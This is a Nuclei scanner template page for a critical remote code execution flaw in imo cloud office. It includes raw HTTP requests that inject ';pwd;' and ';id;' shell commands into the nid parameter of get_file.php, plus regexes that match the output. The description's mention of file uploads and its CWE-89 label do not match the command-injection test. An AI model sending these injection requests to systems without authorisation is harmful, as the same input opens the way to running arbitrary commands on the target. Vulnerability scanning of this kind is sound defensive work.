IMO - Remote Code Execution

ID: imo-rce

Severity: critical

Author: ritikchaddha

Tags: imo,rce

Description

The lax filtering of imo cloud office/file/NDisk/get_file.php allows unlimited file uploads. Attackers can directly obtain website permissions through this vulnerability.

YAML Source

id: imo-rce

info:
  name: IMO - Remote Code Execution
  author: ritikchaddha
  severity: critical
  description: |
    The lax filtering of imo cloud office/file/NDisk/get_file.php allows unlimited file uploads. Attackers can directly obtain website permissions through this vulnerability.
  reference:
    - https://www.henry4e36.top/index.php/archives/130.html#cl-1
    - https://forum.butian.net/article/213
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cwe-id: CWE-89
  metadata:
    max-request: 3
  tags: imo,rce

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    host-redirects: true
    max-redirects: 2
    matchers:
      - type: word
        part: body
        words:
          - 'imo'
        case-insensitive: true
        internal: true

  - raw:
      - |
        GET /file/NDisk/get_file.php?cid=1&nid=;pwd; HTTP/1.1
        Host: {{Hostname}}

      - |
        GET /file/NDisk/get_file.php?cid=1&nid=;id; HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: regex
        part: body_1
        regex:
          - 'home/www/html/[^"]*/file/NDisk'

      - type: regex
        part: body_2
        regex:
          - "uid=[0-9]+.*gid=[0-9]+.*"
# digest: 4a0a0047304502210090962240f0e903aa71d7b77cd8b4ba0a83c3dd55e07a5e2c599195ab61ae3ce902202911a2e18db45e20dd962f1ac00920f339ce0d277f3b4e5093b05d2cf55ae51c:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/vulnerabilities/imo/imo-rce.yaml"

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